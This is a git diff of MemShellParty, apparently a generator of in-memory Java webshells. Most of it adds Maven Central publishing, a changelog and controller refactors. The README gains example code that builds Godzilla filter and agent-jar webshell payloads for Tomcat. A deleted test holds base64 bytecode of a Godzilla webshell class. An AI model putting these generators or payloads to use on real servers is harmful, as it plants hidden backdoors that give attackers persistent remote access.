diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml index 2cc9929a..fe920c26 100644 --- a/.github/workflows/dev-deploy.yaml +++ b/.github/workflows/dev-deploy.yaml @@ -37,13 +37,13 @@ jobs: run: bun install --frozen-lockfile && bun run build - name: Build Boot with Gradle - run: ./gradlew -Pversion=dev :boot:bootjar -x test + run: ./gradlew :boot:bootjar -x test - name: Upload Boot Jar uses: actions/upload-artifact@v4 with: name: boot - path: boot/build/libs/boot-dev.jar + path: boot/build/libs/*.jar docker-push: name: Docker Push @@ -78,6 +78,30 @@ jobs: push: true tags: docker.io/reajason/memshell-party:dev + deploy-maven: + name: Deploy to Maven Central + needs: [ build-jar ] + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Setup Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 17 + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Publish with Gradle + env: + ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }} + ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }} + ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }} + ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }} + ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }} + run: ./gradlew publishAllToMavenCentral + deploy-northflank: name: Deploy to Northflank needs: [ docker-push ] diff --git a/.github/workflows/release.yaml b/.github/workflows/release.yaml index 75745ae0..bc4b5b16 100644 --- a/.github/workflows/release.yaml +++ b/.github/workflows/release.yaml @@ -35,7 +35,6 @@ jobs: build-jar: name: Build Jar runs-on: ubuntu-latest - needs: [ info ] steps: - uses: actions/checkout@v4 @@ -58,13 +57,13 @@ jobs: run: bun install --frozen-lockfile && bun run build - name: Build Boot with Gradle - run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test + run: ./gradlew :boot:bootjar -x test - name: Upload Boot Jar uses: actions/upload-artifact@v4 with: name: boot - path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar + path: boot/build/libs/*.jar docker-push: name: Docker Push @@ -110,6 +109,29 @@ jobs: ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }} ghcr.io/reajason/memshell-party:latest + deploy-maven: + name: Deploy to Maven Central + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Setup Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 17 + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Publish with Gradle + env: + ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }} + ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }} + ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }} + ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }} + ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }} + run: ./gradlew publishAllToMavenCentral + create-release: name: Create Release needs: [ info, docker-push ] @@ -125,18 +147,13 @@ jobs: name: boot path: boot/build/libs - - name: Calculate SHA-256 - id: calculate_sha256 - run: | - sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256 - - name: Release uses: ncipollo/release-action@v1 with: name: ${{ needs.info.outputs.version }} tag: ${{ needs.info.outputs.version }} body: ${{ needs.info.outputs.changelog }} - artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256 + artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar deploy-northflank: name: Deploy to Northflank diff --git a/CHANGELOG.md b/CHANGELOG.md index 4fe9d206..8d292731 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,15 +5,33 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06 + +### Added + +- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41) +- 支持 CC3、CC4 反序列化 payload 打包方式 +- 支持随机参数生成与默认选项(#50) + +### Changed + +- 去除代码混淆相关代码 +- 为了更好地在 MavenCentral 展示,重命名部分模块 +- 使用 Jackson 代替 Fastjson 降低 boot 打包体积 +- 移除 commons-codec 降低 boot 打包体积 +- 升级 shadcn/ui 所有 component 代码 + +**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0) + ## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30 > 做代码生成以及代码混淆真是一件需要耐心的事情 ### Added -- 支持自定义内存马生成(#49)by @ReaJason -- 支持命令回显 ASM Agent 内存马(#51)by @ReaJason -- 支持简易的代码混淆(#13)by @ReaJason +- 支持自定义内存马生成 by @ReaJason(#49) +- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51) +- 支持简易的代码混淆 by @ReaJason(#13) - 支持自动发布 DEV 分支代码 CD ### Changed diff --git a/README.md b/README.md index 0e9f9e9b..371abe14 100644 --- a/README.md +++ b/README.md @@ -71,6 +71,97 @@ docker rm -f memshell-party docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest ``` +### SDK 集成到现有工具中 + +> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持 + +1. 添加依赖,Maven Or Gradle + +```xml + + + io.github.reajason + generator + 1.7.0 + +``` + +```groovy +// Gradle Repo +implementation 'io.github.reajason:generator:1.7.0' +``` + +2. 生成 Tomcat Godzilla Filter 内存马示例 + +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:"+result.getInjectorClassName()); +System.out.println("内存马类名:"+result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result)); +System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result)); +``` +3. 生成 Tomcat Godzilla AgentFilterChain 示例 +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:" + result.getInjectorClassName()); +System.out.println("内存马类名:" + result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); +Files.write(Paths.get("agent.jar"), agentJarBytes); +``` +4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java) + ## 适配情况 已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 diff --git a/boot/build.gradle b/boot/build.gradle index 9d5fbcec..9831ce58 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -48,6 +48,7 @@ dependencies { implementation('org.springframework.boot:spring-boot-starter-web') { exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat' } + implementation 'org.apache.commons:commons-lang3:3.+' implementation 'org.springframework.boot:spring-boot-starter-undertow' compileOnly 'org.projectlombok:lombok' developmentOnly 'org.springframework.boot:spring-boot-devtools' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index f6194a06..4f3b90d5 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,11 +1,9 @@ package com.reajason.javaweb.boot.controller; -import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.server.AbstractShell; -import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -20,8 +18,28 @@ @RequestMapping("/config") @CrossOrigin("*") public class ConfigController { + + @RequestMapping("/servers") + public Map> getServers() { + Map> servers = new LinkedHashMap<>(); + for (Server server : Server.values()) { + if (server.getShell() != null) { + Set supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes(); + servers.put(server.name(), supportedShellTypes.stream().toList()); + } + } + return servers; + } + + @RequestMapping("/packers") + public List getPackers() { + return Arrays.stream(Packers.values()) + .filter(packers -> packers.getParentPacker() == null) + .map(Packers::name).toList(); + } + @RequestMapping - public ResponseEntity config() { + public Map> config() { Map> coreMap = new HashMap<>(16); for (Server value : Server.values()) { AbstractShell shell = value.getShell(); @@ -38,21 +56,6 @@ public ResponseEntity config() { } coreMap.put(value.name(), map); } - Config config = new Config(); - Map> servers = new LinkedHashMap<>(); - for (Server server : Server.values()) { - if (server.getShell() != null) { - Set supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes(); - servers.put(server.name(), supportedShellTypes.stream().toList()); - } - } - config.setServers(servers); - config.setCore(coreMap); - config.setPackers( - Arrays.stream(Packers.values()) - .filter(packers -> packers.getParentPacker() == null) - .map(Packers::name).toList() - ); - return ResponseEntity.ok(config); + return coreMap; } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 4132e846..623d4a64 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.boot.controller; -import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.boot.dto.GenerateRequest; import com.reajason.javaweb.boot.dto.GenerateResponse; +import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; @@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.packer.AggregatePacker; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.jar.JarPacker; -import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -24,18 +23,18 @@ @CrossOrigin("*") public class GeneratorController { @PostMapping - public ResponseEntity generate(@RequestBody GenerateRequest request) { + public GenerateResponse generate(@RequestBody GenerateRequest request) { ShellConfig shellConfig = request.getShellConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); if (packer instanceof JarPacker) { - return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)))); + return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))); } else if (packer instanceof AggregatePacker) { - return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult))); + return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)); } else { - return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult))); + return new GenerateResponse(generateResult, packer.pack(generateResult)); } } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java index 349a1b89..a0380248 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java @@ -36,7 +36,7 @@ public VersionController(RestTemplate restTemplate) { @GetMapping public VersionInfo version() { - if ("dev".equals(version)) { + if (version.endsWith("-SNAPSHOT")) { return VersionInfo.builder() .currentVersion(version) .latestVersion(version).build(); diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 5684cbcb..6dea5a30 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -2,7 +2,9 @@ import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.Data; +import org.apache.commons.lang3.StringUtils; /** * @author ReaJason @@ -32,36 +34,36 @@ public ShellToolConfig parseShellToolConfig() { return switch (shellConfig.getShellTool()) { case Godzilla -> GodzillaConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) - .pass(shellToolConfig.getGodzillaPass()) - .key(shellToolConfig.getGodzillaKey()) + .pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8))) + .key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8))) .headerName(shellToolConfig.getHeaderName()) - .headerValue(shellToolConfig.getHeaderValue()) + .headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .build(); case Behinder -> BehinderConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) - .pass(shellToolConfig.getBehinderPass()) + .pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8))) .headerName(shellToolConfig.getHeaderName()) - .headerValue(shellToolConfig.getHeaderValue()) + .headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .build(); case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) - .paramName(shellToolConfig.getCommandParamName()) + .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .build(); case Suo5 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) .headerName(shellToolConfig.getHeaderName()) - .headerValue(shellToolConfig.getHeaderValue()) + .headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .build(); case AntSword -> AntSwordConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) - .pass(shellToolConfig.getAntSwordPass()) + .pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8))) .headerName(shellToolConfig.getHeaderName()) - .headerValue(shellToolConfig.getHeaderValue()) + .headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .build(); case NeoreGeorg -> NeoreGeorgConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .headerName(shellToolConfig.getHeaderName()) - .headerValue(shellToolConfig.getHeaderValue()) + .headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .build(); case Custom -> CustomConfig.builder() .shellClassBase64(shellToolConfig.getShellClassBase64()) diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java index 69d371f9..506d3dcb 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.boot.controller; -import com.reajason.javaweb.boot.entity.Config; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @@ -8,6 +7,9 @@ import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; +import java.util.List; +import java.util.Map; + import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -24,14 +26,31 @@ public class ConfigControllerIntegrationTest { @Test public void testConfigEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/config", Config.class); + ResponseEntity response = restTemplate.getForEntity("/config", Map.class); + + assertEquals(HttpStatus.OK, response.getStatusCode()); + + Map body = response.getBody(); + assertNotNull(body); + } + + @Test + public void testConfigServersEndpoint() { + ResponseEntity response = restTemplate.getForEntity("/config/servers", Map.class); + + assertEquals(HttpStatus.OK, response.getStatusCode()); + + Map body = response.getBody(); + assertNotNull(body); + } + + @Test + public void testConfigPackersEndpoint() { + ResponseEntity response = restTemplate.getForEntity("/config/packers", List.class); assertEquals(HttpStatus.OK, response.getStatusCode()); - Config config = response.getBody(); - assertNotNull(config); - assertNotNull(config.getServers()); - assertNotNull(config.getCore()); - assertNotNull(config.getPackers()); + List body = response.getBody(); + assertNotNull(body); } } \ No newline at end of file diff --git a/build.gradle b/build.gradle index a0909fe8..da0fc453 100644 --- a/build.gradle +++ b/build.gradle @@ -1,17 +1,70 @@ -version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0' +import com.vanniktech.maven.publish.SonatypeHost + +version = '1.6.1-SNAPSHOT' + +buildscript { + repositories { + mavenCentral() + gradlePluginPortal() + } + dependencies { + classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0' + classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1" + } +} allprojects { - if (it.name != 'bom') { + group = 'io.github.reajason' + + if (it.name != 'memshell-party-bom') { apply(plugin: 'java') apply(plugin: 'idea') apply(plugin: 'jacoco') + apply(plugin: 'io.freefair.lombok') + } + + apply(plugin: 'com.vanniktech.maven.publish') + + mavenPublishing { + publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL) + signAllPublications() + coordinates("io.github.reajason", project.name, rootProject.version as String) + + pom { + name = 'MemShellParty' + description = project.description + url = 'https://github.com/ReaJason/MemShellParty' + inceptionYear = '2025' + licenses { + license { + name = 'MIT' + url = 'https://spdx.org/licenses/MIT.html' + } + } + developers { + developer { + id = 'reajason' + name = 'ReaJason' + url = "https://reajason.eu.org" + } + } + scm { + connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git' + developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git' + url = 'https://github.com/ReaJason/MemShellParty' + } + } } - if (it.name != 'bom' && !it.name.startsWith("vul")) { + if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) { dependencies { - implementation platform(project(':bom')) + implementation platform(project(':memshell-party-bom')) } } + + repositories { + mavenCentral() + } } idea { @@ -36,12 +89,31 @@ jacocoTestReport { classDirectories.from( fileTree('generator/build/classes/java/main') { excludes = [ - 'com/reajason/javaweb/memsell/**/godzilla/**', - 'com/reajason/javaweb/memsell/**/injector/**', - 'com/reajason/javaweb/memsell/**/command/**', + 'com/reajason/javaweb/memshell/**/godzilla/**', + 'com/reajason/javaweb/memshell/**/injector/**', + 'com/reajason/javaweb/memshell/**/command/**', 'com/reajason/javaweb/config/**' ] } ) } +} + +tasks.register('publishAllToMavenCentral') { + def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT') + if (isSnapshot) { + dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository' + dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository' + dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository' + dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository' + dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository' + dependsOn ':generator:publishAllPublicationsToMavenCentralRepository' + } else { + dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral' + dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral' + dependsOn ':deserialize:publishAndReleaseToMavenCentral' + dependsOn ':memshell:publishAndReleaseToMavenCentral' + dependsOn ':memshell-java8:publishAndReleaseToMavenCentral' + dependsOn ':generator:publishAndReleaseToMavenCentral' + } } \ No newline at end of file diff --git a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java deleted file mode 100644 index 391ce81b..00000000 --- a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.reajason.javaweb.util; - -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Disabled; -import org.junit.jupiter.api.Test; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; - -/** - * @author ReaJason - * @since 2024/12/22 - */ -class ClassUtilsTest { - - @Test - @Disabled - void testBase64() throws IOException { - byte[] bytes = Base64.decodeBase64("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxq